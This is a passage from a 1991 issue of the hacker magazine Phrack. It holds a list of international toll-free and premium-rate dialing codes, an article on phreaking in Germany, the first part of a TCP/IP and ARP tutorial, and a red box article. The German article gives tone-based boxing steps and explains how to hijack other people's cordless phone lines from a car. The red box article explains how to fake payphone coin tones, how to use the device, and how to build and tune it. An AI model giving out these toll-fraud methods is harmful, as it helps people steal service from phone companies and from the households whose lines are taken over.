WV BLUEFIELD 932

WY WYOMING 654

International Toll Free Code List

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 6 of 13

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

‑

= International Toll‑free, Local Rated, =

‑

= and Specially Toll Services =

‑

= by The Trunk Terminator =

‑

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

The following indicates access codes and numbers used within various countries for toll‑free and special paid services. The dialing codes shown represent how they would be dialed within the country involved. Generally, it is not possible to access another country's domestic toll‑free or specialty network directly. Where an international access is available, it is normally done by using the domestic services which then forward the call to the destination country.

Where possible, the number of digits has been indicated with 'n' (a number from 2 to 8) or 'x' (any number). An ellipsis (...) indicates that there are a variable number of extra digits, or possibly a conflict in the reports of numbers of digits used.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Toll‑free or equivalent local charge services

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

=================

A u s t r a l i a

=================

008 xxx xxx That is how Phrack Inc. recomends it be written to differentiate it from STD area codes which are written with area codes (0x) thru (0xxx) and numbers n xxxx through nxx xxxx.

0014 ttt xxx xxx International Toll free access from Australia (ttt is reported as "800" or other toll‑free access code; or, ttt may not be present at all.

(Canada Direct uses 0014 881 150)

=============

B e l g i u m

=============

11 xxxx

=============

D e n m a r k

=============

800 xxxxx

8001 xxxx (charged as local call)

=============

F i n l a n d

=============

9800 xxxxx (...) (PTT as local service provider)

0800 xxxxx (...) (Private phone company as local service provider)

9800 costs the same as a local call (dialable from all areas in Finland), while 0800 are truly toll‑free and dialable from all private telco areas.

===========

F r a n c e

===========

05 xxxxxx This is outside area code 1, so from Paris 16 05.

05 19 xx xx These numbers terminate outside France.

36 63 xx xx (local call rate)

'11' is computer directory information. '12' is voice directory information (equivalent to 411).

===========================

G e r m a n y ( w e s t )

===========================

0130 xxxx (...xx) The number to use AT&T is 0130‑0010 and U.S. Sprint is 0130‑0013. For a general toll‑free number listings, pick up a copy of the International Herald newspaper and look in the sports section is for an AT&T add. You will find a number for dialing the US from various countries. Mearly, chop off the exchange and only use the "area code" number.

=============

I r e l a n d

=============

1800 xxxxxx

1850 xxxxxx (local rate)

=========

I t a l y

=========

167 xxxxx (digits length)

We're not 100% sure about the length of digits for Italy. One way to check these is to get a copy of an *international* edition of the weekly magazines like TIME, all ads and little contents. But they do goof up regularly, like printing Paris numbers as (01) xxxxxxxx when they mean (1) xxxxxxxx.

===========

M e x i c o

===========

91 800 xxxxx....

=====================

N e t h e r l a n d s

=====================

06‑0xxx

06‑0xxxxxx

06‑4xx(x) 06‑2229111 is AT&T USA direct and Sprint & MCI have operator services on 06‑022xxxx. It used to be possible to call 06‑022xxxx to Denmark, and then use the CCITT no. 4 signalling system to phreak calls to anywhere in the world.

06‑11 This is the Dutch equivalent of 911, it is free when dialled from a phone company operated payphone, otherwise the charge is one unit, DFL 0.15, about US $ 0.08. There were discussions about making such calls free from any phone, but I haven't followed them recently. Calling a toll‑free number from a payphone requires a deposit of one coin, which is returned after the call.

The total length of the numbers varies from 4 to 10 digits and the dash indicates the secondary dial tone. It is not possible to reach 06 prefixed numbers from abroad.

=====================

N e w Z e a l a n d

=====================

0800 xxx xxx That is through the state telco, Telecom New Zealand. Clear Communications, the recently started alternative LD carrier, does not offer a toll‑free service as yet. When Clear offer one, it will more than likely be to the subscribers existing number (eg Dial toll free 050‑04‑654‑3210) as they are not in control of number issue. 0800 is strictly Telecom at this stage.

=========================

N o r t h A m e r i c a

=========================

1 800 nxx xxxx Access to toll free numbers can vary according to region, state or country (ie. not all 800 numbers are accessible to all regions).

The nxx prefix portion of the 800 number presently determines which long distance carrier or 800 service company will handle the call (and in some cases determine the geographical region).

=========

S p a i n

=========

900 xxxxxx The number for ATT direct in Spain is 900‑99‑00‑11. The payphones are all push‑button but generate pulses. It takes forever to get connected.

===========

S w e d e n

===========

020 xxxxxx (without dialtone after '020').

=====================

S w i t z e r l a n d

=====================

04605 xxxx (not toll‑free but metered at lowest rate)

155 xx xx ("green number")

In Switzerland there is nothing exactly like the equivalent to United States "800" service. The PTT is now encouraging the use of "green numbers" beginning with 155. The direct marketing ads on TV often give the order number for Switzerland as a number such as 155 XX XX. The access number for MCI Call USA is for example 155 02 22. There are two problems with this:

1] When calling from a model AZ44(older model) payphone all numbers which begin with a "1" are treated as "service" numbers and the payphone begins to sound a "cuckoo clock noise" once the 155 is entered. The "cuckoo clock noise" is to alert operators on the "service numbers" that the caller is using a payphone (fraud protection). This noise is quite a distraction when calling someone in the USA using MCI Call USA.

2] The newer style TelcaStar phones are programmed to block the keypad after 3 digits are dialed of a "service number". It used to be that the only numbers beginning with "1" were "service numbers" and all "service numbers" were 3 digits. The PTT is aware of this problem and are said to be considering what instructions to give the manufacturer of the payphones.

AT&T USA Direct has an access number of 046 05 00 11. This is not a free call, but the time is metered at the lowest rate. This number does not suffer the "cuckoo clock noise" problem.

Canada Direct uses 046 05 83 30.

===========================

U n i t e d K i n g d o m

===========================

0800 xxx xxx (Toll‑free)

0345 xxx xxx (Local rate)

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Tolled/Specialty Pay services

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

=================

A u s t r a l i a

=================

0055 x yxxx where y=0‑4,8 means the number is Australia

wide (and costs more),

y=5 means the number is only state wide, y=6,7,9 means the number is for the

capital city only.

=============

F i n l a n d

=============

9700 xxxxx (PTT‑operated)

0700 xxxxx (Private telco‑operated)

The cost ranges from about 0.5 USD to 5 USD per minute.

===========

F r a n c e

===========

36 65 xx xx (5 message units each call for up to 140 seconds)

These are for various information services as well as chat lines.

=====================

N e t h e r l a n d s

=====================

06‑9 xx...

06‑321 xx...

06‑8 xx... (3 to 40ct/min)

Other codes (such as 06‑9) precede special tariff calls (similar to 900 in the US). The highest special rate is (currently) DFL 0.50 / minute.

=========================

N o r t h A m e r i c a

=========================

1 900 nxx xxxx (various rates, depending on provider)

1 (npa) 976 xxxx (in many area codes, connected through regional telco; in some areas, the call requires the area code where depending on the intra‑area dialing used)

(other exchange prefixes within area codes such as 540, 720 or 915 are used for other pay services such as group chat, other types of recorded messages, etc. These vary depending on the area code within North America, and not all regions in North America have these.)

===========

S w e d e n

===========

071 x xxxxx

The Swedish answer to the United States "900"‑number, 071 are as follows.

(Charges are related to the next digit)

code SEK/minute

0712xxxxx 3,65

0713xxxxx 4,90

0714xxxxx 6,90

0715xxxxx 9,90

0716xxxxx 12,50

0717xxxxx 15,30

0719xx varying fees, cannot be dialled directly but needs operator

Numbers starting with 0713‑0717 can only be dialled from phones connected to AXE exchanges. At present about half of all phones in Sweden are connected to such exchanges.

Another special toll number is domestic number information: 07975 (6,90 SEK/minute).

===========================

U n i t e d K i n g d o m

===========================

0836 xxx xxx

0898 xxx xxx

The rate seems to be uniform as 34p per minute cheap rate, 45p at all other times.

Phreaking in Germany

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 7 of 13

//‑‑‑‑‑‑‑‑‑‑‑

|| P h r e a k i n g ||

||

|| i n ||

||

|| G e r m a n y ||

||

|| by ||

||

|| ‑=+Ninja Master+=‑ ||

||

|| of ||

||

|| ‑[The Hellfire Club]‑ ||

\\‑‑‑‑‑‑‑‑‑‑‑

Phreaking in Germany at this moment is at an all time high. The main reason is because of the German reunification. Most, if not all, of the equipment in Germany is still mechanical (especially on the former Communist side). So Boxing is VERY easy to do, as are line taps.

Tracing on the other hand, is still hard to do. This is because with the mechanical switches they need many technicians who look at the switches and follow the wires on their own. They usually don't know where the wire leads, so they have to physically follow the wire to trace it.

There are two main ways of phreaking in Germany at the moment. One is Boxing and the other is through Cordless Phones, both of which I will describe.

//‑‑‑‑‑‑\\

|| Boxing ||

\\‑‑‑‑‑‑//

Boxing in Germany is somewhat similar to the US, but I will describe to you the whole process.

Most boxing in Germany is started with a call to a toll free number (most of which produce a connection to a firm in the US, AT&T.) To initiate the call, you dial 0130 ‑ 81 and the number. Germany's toll free net starts with 0130. 81 is for connection to the US. You wait for the connection, and blast the dissconect signal. As we all know, in the US it's 2600 Hz, but in Germany it's a mixture of 2400 and 2600 Hz. After that, you send a single 2400 Hz frequency to hold the line. Then you decide if you want a local US call, or an International call. Don't forget, you are connected to the US now, so it looks as if anything out of it as International, even though your calling from Germany. Calls within the US are done normally, with KP+0+AC+NNNNNNN. To make the international call, it's KP2+internalional code+0+number. You have to drop the zero though from the number you care calling. For example, in Germany all numbers start with a 02366.

One big difference between boxing in the US and Germany, are the laws. In Germany, they look very strictly at data‑security, but the laws are not clear in

the area of phreaking. No one knows if a phreak is really stealin something from the German phone company, since he is using a normal phone number. This may sound stupid to us, but that's how they view it. Phreaks getting busted for in Germany is usually a rare occassion, if ever.

//‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\\

|| Cordless Phones ||

\\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑//

When I am refering to "cordless phones", I'm not talking about portable phones in the cellular phone system. I'm talking about simple cordless phones that you have in your home. Cordless phones broadcast on a speciffic radio frequency (around 46MHz) to a "base unit" that is connected to the wall jack.

What the you do now is put a long antenna on the roof of your car. Then connect the antenna to your handset. The length of the antenna is usually best around 1.5 meters long. You only need the handset, because you are going to be connecting to another persons base, but make sure the batteries in the handset are fully charged. Now, the next step is to drive around in your car, until you hear a free line. Then, mearly call anywhere you like! Usually you have to situate yourself, and find where the best postion is to recieve the signal clearly, and that the person who's base your connected to can't see you.

One reason this works quite well, is because most cordless phones in Germany don't have the code feature that is so prominent here (where you can select a scrambling code on the handset and base).

One of the incentives to phreak in this manner is because, cordless phones being illegal, the person, who's dial tone you used, would much rather pay a few high long distance bills than the even higher fines for geting caught with a cordless phone.

Cordless phones are forbidden in Germany, although you can buy them almost anywhere. What is illegal is to physically connect them to the phone system. The phone company there actually searches for people with cordless phones, by using a specially equiped van. Once they find that you have a cordless phone connected, they come with two policmen and a search warrant. You can be charged with anything from illegal connection of nontested equipment to forging of a document.

//‑‑‑‑‑‑‑‑‑‑\\

|| Conclusion ||

\\‑‑‑‑‑‑‑‑‑‑//

Well, I hope this gave you a little bit of understanding of how disorganized the phone system is in over there, and gave you a few helpfull hints in case you ever happen to find yourself in Germany.

If you have any comments, corrections, or additions, you can reach me through Phrack, or the following boards:

Lightning Systems 9th Dimension 414‑363‑4282 818‑783‑5320

Until next time!

‑=+Ninja Master+=‑

‑[The Hellfire Club]‑

"Tell Telco We're Phreaking, Phreaking USA!"

TCP/IP

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 8 of 13

A TCP/IP Tutorial : Behind The Internet

Part One of Two

September 12, 1991

by The Not

Table of Contents

1. Introduction

2. TCP/IP Overview

3. Ethernet

4. ARP

1. Introduction

This tutorial contains only one view of the salient points of TCP/IP, and therefore it is the "bare bones" of TCP/IP technology. It omits the history of development and funding, the business case for its use, and its future as compared to ISO OSI. Indeed, a great deal of technical information is also omitted. What remains is a minimum of information that must be understood by the professional working in a TCP/IP environment. These professionals include the systems administrator, the systems programmer, and the network manager.

This tutorial uses examples from the UNIX TCP/IP environment, however the main points apply across all implementations of TCP/IP.

Note that the purpose of this memo is explanation, not definition. If any question arises about the correct specification of a protocol, please refer to the actual standards defining RFC. The next section is an overview of TCP/IP, followed by detailed descriptions of individual components.

2. TCP/IP Overview

The generic term "TCP/IP" usually means anything and everything related to the specific protocols of TCP and IP. It can include other protocols, applications, and even the network medium. A sample of these protocols are: UDP, ARP, and ICMP. A sample of these applications are: TELNET, FTP, and rcp. A more accurate term is "internet technology". A network that uses internet technology is called an "internet".

2.1 Basic Structure

To understand this technology you must first understand the following logical structure:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| network applications |

|

|... \ | / .. \

| ‑‑‑‑‑ ‑‑

| |TCP| |UDP| |

| ‑‑‑‑‑ ‑‑

| \ /

| ‑‑‑‑‑‑‑‑

| | IP | |

| ‑‑‑‑‑ ‑*‑‑‑‑‑‑

| |ARP| | |

| ‑‑‑‑‑ |

| \ |

| ‑‑‑‑‑‑

| |ENET| |

| ‑‑‑@‑‑

‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑‑‑

Ethernet Cable

Figure 1. Basic TCP/IP Network Node

This is the logical structure of the layered protocols inside a computer on an internet. Each computer that can communicate using internet technology has such a logical structure. It is this logical structure that determines the behavior of the computer on the internet. The boxes represent processing of the data as it passes through the computer, and the lines connecting boxes show the path of data. The horizontal line at the bottom represents the Ethernet cable; the "o" is the transceiver. The "*" is the IP address and the "@" is the Ethernet address. Understanding this logical structure is essential to understanding internet technology; it is referred to throughout this tutorial.

2.2 Terminology

The name of a unit of data that flows through an internet is dependent upon where it exists in the protocol stack. In summary: if it is on an Ethernet it is called an Ethernet frame; if it is between the Ethernet driver and the IP module it is called a IP packet; if it is between the IP module and the UDP module it is called a UDP datagram; if it is between the IP module and the TCP module it is called a TCP segment (more generally, a transport message); and if it is in a network application it is called a application message.

These definitions are imperfect. Actual definitions vary from one publication to the next. More specific definitions can be found in RFC 1122, section 1.3.3.

A driver is software that communicates directly with the network interface hardware. A module is software that communicates with a driver, with network applications, or with another module.

The terms driver, module, Ethernet frame, IP packet, UDP datagram, TCP message, and application message are used where appropriate throughout this tutorial.

2.3 Flow of Data

Let's follow the data as it flows down through the protocol stack shown in Figure 1. For an application that uses TCP (Transmission Control Protocol), data passes between the application and the TCP module. For applications that use UDP (User Datagram Protocol), data passes between the application and the UDP module. FTP (File Transfer Protocol) is a typical application that uses TCP. Its protocol stack in this example is FTP/TCP/IP/ENET. SNMP (Simple Network Management Protocol) is an application that uses UDP. Its protocol stack in this example is SNMP/UDP/IP/ENET.

The TCP module, UDP module, and the Ethernet driver are n‑to‑1 multiplexers. As multiplexers they switch many inputs to one output. They are also 1‑to‑n de‑multiplexers. As de‑multiplexers they switch one input to many outputs according to the type field in the protocol header.

1 2 3 ... n 1 2 3 ... n

\ | / |

\ | | / |

‑‑‑‑‑‑‑‑‑‑‑‑‑ flow ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ flow

|multiplexer| of |de‑multiplexer| of

‑‑‑‑‑‑‑‑‑‑‑‑‑ data ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ data

| |

| v | |

1 1

Figure 2. n‑to‑1 multiplexer and 1‑to‑n de‑multiplexer

If an Ethernet frame comes up into the Ethernet driver off the network, the packet can be passed upwards to either the ARP (Address Resolution Protocol) module or to the IP (Internet Protocol) module. The value of the type field in the Ethernet frame determines whether the Ethernet frame is passed to the ARP or the IP module.

If an IP packet comes up into IP, the unit of data is passed upwards to either TCP or UDP, as determined by the value of the protocol field in the IP header.

If the UDP datagram comes up into UDP, the application message is passed upwards to the network application based on the value of the port field in the UDP header. If the TCP message comes up into TCP, the application message is passed upwards to the network application based on the value of the port field in the TCP header.

The downwards multiplexing is simple to perform because from each starting point there is only the one downward path; each protocol module adds its header information so the packet can be demultiplexed at the destination computer.

Data passing out from the applications through either TCP or UDP converges on the IP module and is sent downwards through the lower network interface driver.

Although internet technology supports many different network media, Ethernet is used for all examples in this tutorial because it is the most common physical network used under IP. The computer in Figure 1 has a single Ethernet connection. The 6‑byte Ethernet address is unique for each interface on an Ethernet and is located at the lower interface of the Ethernet driver.

The computer also has a 4‑byte IP address. This address is located at the lower interface to the IP module. The IP address must be unique for an internet.

A running computer always knows its own IP address and Ethernet address.

2.4 Two Network Interfaces

If a computer is connected to 2 separate Ethernets it is as in Figure 3.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| network applications |

|

|... \ | / .. \ | /

| ‑‑‑‑‑ ‑‑‑‑‑

| |TCP| |UDP| |

| ‑‑‑‑‑ ‑‑‑‑‑

| \ /

| ‑‑‑‑‑‑‑‑

| | IP | |

| ‑‑‑‑‑ ‑*‑‑‑‑*‑ ‑‑‑‑

| |ARP| | | |ARP| |

| ‑‑‑‑‑ | | ‑‑‑‑

| \ | | /

| ‑‑‑‑‑‑ ‑‑‑‑‑‑

| |ENET| |ENET| |

| ‑‑‑@‑‑ ‑‑‑@‑‑

‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑|‑‑‑‑‑

| |

| ‑‑‑o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Ethernet Cable 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑‑‑‑

Ethernet Cable 1

Figure 3. TCP/IP Network Node on 2 Ethernets

Please note that this computer has 2 Ethernet addresses and 2 IP addresses.

It is seen from this structure that for computers with more than one physical network interface, the IP module is both a n‑to‑m multiplexer and an m‑to‑n de‑multiplexer.

1 2 3 ... n 1 2 3 ... n

\ | | / |

\ | | / |

‑‑‑‑‑‑‑‑‑‑‑‑‑ flow ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ flow

|multiplexer| of |de‑multiplexer| of

‑‑‑‑‑‑‑‑‑‑‑‑‑ data ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ data

/ | | \ |

/ | | \ v / | | \ |

1 2 3 ... m 1 2 3 ... m

Figure 4. n‑to‑m multiplexer and m‑to‑n de‑multiplexer

It performs this multiplexing in either direction to accommodate incoming and outgoing data. An IP module with more than 1 network interface is more complex than our original example in that it can forward data onto the next network. Data can arrive on any network interface and be sent out on any other.

TCP UDP

\ /

\ /

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| IP |

| |

| ‑‑‑ |

| / \ |

| / v |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/ \

/ \

data data comes in goes out here here

Figure 5. Example of IP Forwarding a IP Packet

The process of sending an IP packet out onto another network is called "forwarding" an IP packet. A computer that has been dedicated to the task of forwarding IP packets is called an "IP‑router".

As you can see from the figure, the forwarded IP packet never touches the TCP and UDP modules on the IP‑router. Some IP‑router implementations do not have a TCP or UDP module.

2.5 IP Creates a Single Logical Network

The IP module is central to the success of internet technology. Each module or driver adds its header to the message as the message passes down through the protocol stack. Each module or driver strips the corresponding header from the message as the message climbs the protocol stack up towards the application. The IP header contains the IP address, which builds a single logical network from multiple physical networks. This interconnection of physical networks is the source of the name: internet. A set of interconnected physical networks that limit the range of an IP packet is called an "internet".

2.6 Physical Network Independence

IP hides the underlying network hardware from the network applications. If you invent a new physical network, you can put it into service by implementing a new driver that connects to the internet underneath IP. Thus, the network applications remain intact and are not vulnerable to changes in hardware technology.

2.7 Interoperability

If two computers on an internet can communicate, they are said to "interoperate"; if an implementation of internet technology is good, it is said to have "interoperability". Users of general‑purpose computers benefit from the installation of an internet because of the interoperability in computers on the market. Generally, when you buy a computer, it will interoperate. If the computer does not have interoperability, and interoperability can not be added, it occupies a rare and special niche in the market.

2.8 After the Overview

With the background set, we will answer the following questions:

When sending out an IP packet, how is the destination Ethernet address determined?

How does IP know which of multiple lower network interfaces to use when sending out an IP packet?

How does a client on one computer reach the server on another?

Why do both TCP and UDP exist, instead of just one or the other?

What network applications are available?

These will be explained, in turn, after an Ethernet refresher.

3. Ethernet

This section is a short review of Ethernet technology.

An Ethernet frame contains the destination address, source address, type field, and data.

An Ethernet address is 6 bytes. Every device has its own Ethernet address and listens for Ethernet frames with that destination address. All devices also listen for Ethernet frames with a wildcard destination address of "FF‑FF‑FF‑FF‑FF‑FF" (in hexadecimal), called a "broadcast" address.

Ethernet uses CSMA/CD (Carrier Sense and Multiple Access with Collision Detection). CSMA/CD means that all devices communicate on a single medium, that only one can transmit at a time, and that they can all receive simultaneously. If 2 devices try to transmit at the same instant, the transmit collision is detected, and both devices wait a random (but short) period before trying to transmit again.

3.1 A Human Analogy

A good analogy of Ethernet technology is a group of people talking in a small, completely dark room. In this analogy, the physical network medium is sound waves on air in the room instead of electrical signals on a coaxial cable.

Each person can hear the words when another is talking (Carrier Sense). Everyone in the room has equal capability to talk (Multiple Access), but none of them give lengthy speeches because they are polite. If a person is impolite, he is asked to leave the room (i.e., thrown off the net).

No one talks while another is speaking. But if two people start speaking at the same instant, each of them know this because each hears something they haven't said (Collision Detection). When these two people notice this condition, they wait for a moment, then one begins talking. The other hears the talking and waits for the first to finish before beginning his own speech.

Each person has an unique name (unique Ethernet address) to avoid confusion. Every time one of them talks, he prefaces the message with the name of the person he is talking to and with his own name (Ethernet destination and source address, respectively), i.e., "Hello Jane, this is Jack, ..blah blah blah...". If the sender wants to talk to everyone he might say "everyone" (broadcast address), i.e., "Hello Everyone, this is Jack, ..blah blah blah...".

4. ARP

When sending out an IP packet, how is the destination Ethernet address determined?

ARP (Address Resolution Protocol) is used to translate IP addresses to Ethernet addresses. The translation is done only for outgoing IP packets, because this is when the IP header and the Ethernet header are created.

4.1 ARP Table for Address Translation

The translation is performed with a table look‑up. The table, called the ARP table, is stored in memory and contains a row for each computer. There is a column for IP address and a column for Ethernet address. When translating an IP address to an Ethernet address, the table is searched for a matching IP address. The following is a simplified ARP table:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP address Ethernet address |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|223.1.2.1 08‑00‑39‑00‑2F‑C3| |223.1.2.3 08‑00‑5A‑21‑A7‑22| |223.1.2.4 08‑00‑10‑99‑AC‑54|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 1. Example ARP Table

The human convention when writing out the 4‑byte IP address is each byte in decimal and separating bytes with a period. When writing out the 6‑byte Ethernet address, the conventions are each byte in hexadecimal and separating bytes with either a minus sign or a colon.

The ARP table is necessary because the IP address and Ethernet address are selected independently; you can not use an algorithm to translate IP address to Ethernet address. The IP address is selected by the network manager based on the location of the computer on the internet. When the computer is moved to a different part of an internet, its IP address must be changed. The Ethernet address is selected by the manufacturer based on the Ethernet address space licensed by the manufacturer. When the Ethernet hardware interface board changes, the Ethernet address changes.

4.2 Typical Translation Scenario

During normal operation a network application, such as TELNET, sends an application message to TCP, then TCP sends the corresponding TCP message to the IP module. The destination IP address is known by the application, the TCP module, and the IP module. At this point the IP packet has been constructed and is ready to be given to the Ethernet driver, but first the destination Ethernet address must be determined.

The ARP table is used to look‑up the destination Ethernet address.

4.3 ARP Request/Response Pair

But how does the ARP table get filled in the first place? The answer is that it is filled automatically by ARP on an "as‑needed" basis.

Two things happen when the ARP table can not be used to translate an address:

1. An ARP request packet with a broadcast Ethernet address is sent out on the network to every computer.

2. The outgoing IP packet is queued.

Every computer's Ethernet interface receives the broadcast Ethernet frame. Each Ethernet driver examines the Type field in the Ethernet frame and passes the ARP packet to the ARP module. The ARP request packet says "If your IP address matches this target IP address, then please tell me your Ethernet address". An ARP request packet looks something like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Sender IP Address 223.1.2.1 | |Sender Enet Address 08‑00‑39‑00‑2F‑C3|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Target IP Address 223.1.2.2 | |Target Enet Address <blank> |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 2. Example ARP Request

Each ARP module examines the IP address and if the Target IP address matches its own IP address, it sends a response directly to the source Ethernet address. The ARP response packet says "Yes, that target IP address is mine, let me give you my Ethernet address". An ARP response packet has the sender/target field contents swapped as compared to the request. It looks something like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Sender IP Address 223.1.2.2 | |Sender Enet Address 08‑00‑28‑00‑38‑A9|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Target IP Address 223.1.2.1 | |Target Enet Address 08‑00‑39‑00‑2F‑C3|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 3. Example ARP Response

The response is received by the original sender computer. The Ethernet driver looks at the Type field in the Ethernet frame then passes the ARP packet to the ARP module. The ARP module examines the ARP packet and adds the sender's IP and Ethernet addresses to its ARP table.

The updated table now looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP address Ethernet address |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|223.1.2.1 08‑00‑39‑00‑2F‑C3| |223.1.2.2 08‑00‑28‑00‑38‑A9| |223.1.2.3 08‑00‑5A‑21‑A7‑22| |223.1.2.4 08‑00‑10‑99‑AC‑54|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TA

BLE 4. ARP Table after Response

4.4 Scenario Continued

The new translation has now been installed automatically in the table, just milli‑seconds after it was needed. As you remember from step 2 above, the outgoing IP packet was queued. Next, the IP address to Ethernet address translation is performed by look‑up in the ARP table then the Ethernet frame is transmitted on the Ethernet. Therefore, with the new steps 3, 4, and 5, the scenario for the sender computer is:

1. An ARP request packet with a broadcast Ethernet address is sent out on the network to every computer.

2. The outgoing IP packet is queued.

3. The ARP response arrives with the IP‑to‑Ethernet address translation for the ARP table.

4. For the queued IP packet, the ARP table is used to translate the IP address to the Ethernet address.

5. The Ethernet frame is transmitted on the Ethernet.

In summary, when the translation is missing from the ARP table, one IP packet is queued. The translation data is quickly filled in with ARP request/response and the queued IP packet is transmitted.

Each computer has a separate ARP table for each of its Ethernet interfaces. If the target computer does not exist, there will be no ARP response and no entry in the ARP table. IP will discard outgoing IP packets sent to that address. The upper layer protocols can't tell the difference between a broken Ethernet and the absence of a computer with the target IP address.

Some implementations of IP and ARP don't queue the IP packet while waiting for the ARP response. Instead the IP packet is discarded and the recovery from the IP packet loss is left to the TCP module or the UDP network application. This recovery is performed by time‑out and retransmission. The retransmitted message is successfully sent out onto the network because the first copy of the message has already caused the ARP table to be filled.

A REAL Functioning RED BOX Schematic

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 9 of 13

/////////////////////\

||

|| A Real Functioning RED BOX Schematic ||

||

|| Written by: R.J. "BoB" Dobbs ||

||

\\\\\\\\\\\\\\\\\\\\\/

::What is a Red Box?::

Essentially, the Red Box is a device used to fool the phone company's computer into thinking coins are deposited into a payphone. Every time you drop a coin into a payphone, the phone signals the type of coin inserted with one or more bursts of a combination of 1700hz and 2200hz. The tone bursts are coded as follows:

Nickel : One 60 millisecond pulse

Dime : Two 60 millisecond pulses separated by 60 milliseconds Quarter: Five 35 millisecond pulses separated by 35 milliseconds

::How to use it::

Simply dial a long distance number (some areas require you to stick in a genuine nickel first), wait for the ACTS computer to demand your cash, and press the "deposit" button on the red box for each coin you want to simulate. The coin signals are coupled from the red box into the phone with a small speaker held to the mouthpiece. For local calls, either you must first deposit a genuine nickle before simulating more coins or place your call through the operator with 0+xxx+yyyy. Use some care when the operator is on the line sometimes they catch on to your beeper ploy.

::Circuit Operation::

Each time the pushbutton is pressed, it triggers half of IC1, configured as a monostable multivibrator to energize the rest of the circuit for a length of time determined by the setting of the coin selector switch. This in turn starts the other half of IC1, configured as an astable multivibrator, pulsing on and off at regular intervals at a rate determined by the 100k pot between pins 12 and 13. The output of the astable thus alternately powers of IC2, configured as a square wave oscillator, providing the required 1700hz and 2200hz to the op amp which acts as a buffer to drive the speaker.

::Alignment & Testing::

When you are making this thing by no means should you use a 9v AC to DC adapter! I also suggest not using a bread board. So be careful with that sodering iron. Both of these things will cause you problems. For alignment, a frequency counter is desired but you can use a good oscilloscope as well. (These are not ABSOLUTELY necessary, but to help.) In order to figure frequency in Hz with your scope you can use the following formula.

1 S = The measurement of the wave that is on the display Hz = ‑‑‑‑‑‑‑‑‑‑‑

S*(T*10^‑6) T = The setting of the time selector (milliseconds)

1

Hz = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Hz = 2198

9.1 * 50ms * 10^‑6

Carefully remove IC1 from it's socket. Install a temporary jumper from +9v supply to pin 14 of IC2 and temporarily disconnect the 0.01uF capacitors from pins 5 and 9 of IC2. Power up the circuit. Measuring the output from pin 5 of IC2 with the frequency counter or scope, adjust the 50k pot between pins 1 and 6 for an output of 1700hz. Now adjust the 50k pot between pins 8 and 13 for an output of 2200hz from pin 9 of IC2. Remove the temporary jumper and re‑attach the capacitors to pins 5 and 9 of IC2, and re‑insert IC1. (Note: if no frequency counter is available, the outputs can be adjusted by ear one at a time by zero‑beating the output tone with a computer generated tone of known precision.)

Next, using a multimeter, adjust the 10K pot at the cathode of the "quarter" diode for resistance of approximately 8K ohms. (This sets the difference between the duration of the quarter pulses and those of the nickel/dime ‑‑ fine tuning of this ratio may be necessary durring the latter stages of alignment; this can be done by ear.)

Now, temporarily disconnect the wire between pins 5 and 10 of IC1. Set coin selector switch in the "N" (nickel) position. With the oscilloscope measuring the output from pin 9 of IC1, adjust the 100k pot between pins 12 and 13 of IC1 for output pulses of 60 millisecond duration. Reconnect the wire between pins 5 and 10. (Note: If no scope is available, adjust the pulse rate by ear using computer generated tones for comparison.)

